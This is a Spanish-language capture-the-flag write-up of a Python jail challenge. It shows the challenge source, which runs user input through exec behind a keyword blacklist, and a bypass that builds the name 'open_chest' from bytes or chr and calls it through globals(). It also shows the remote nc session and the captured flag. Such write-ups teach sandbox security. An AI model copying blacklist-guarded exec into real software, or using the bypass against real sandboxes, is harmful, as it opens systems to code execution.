Locked Away
3 minutos de lectura
Se nos proporciona el código fuente en Python que se ejecuta en la instancia remota (main.py
):
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
Análisis del código fuente
Básicamente, se nos permite ejecutar código en Python con exec
mientras que no incluyamos explícitamente ninguna de las palabras de blacklist
:
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
Observe que hay una función que nos dará la flag:
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
Sin embargo, no podemos ejecutar directamente open_chest
porque open
está en blacklist
… Además, no podemos usar exec
o eval
…
Solución
Aún así, en Python se hay una función global llamada globals
que devuelve un diccionario con todas las funciones y variables globales del script:
$ python3 -q
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> a = 1337
>>> globals().get('a')
1337
Y también contiene funciones:
>>> def f():
... print('hey')
...
>>> globals().get('f')
<function f at 0x101137920>
>>> globals().get('f')()
hey
Ahora, solo necesitamos usar una string sin comillas simples/dobles. Hay varias maneras, como usar una lista de números enteros como bytes
o usando chr
y +
:
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
>>> bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode()
'open_chest'
>>> chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116)
'open_chest'
Flag
Entonces, tenemos todo lo que necesitamos llamar a open_chest
y conseguir la flag:
$ nc 94.237.54.201 58952
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}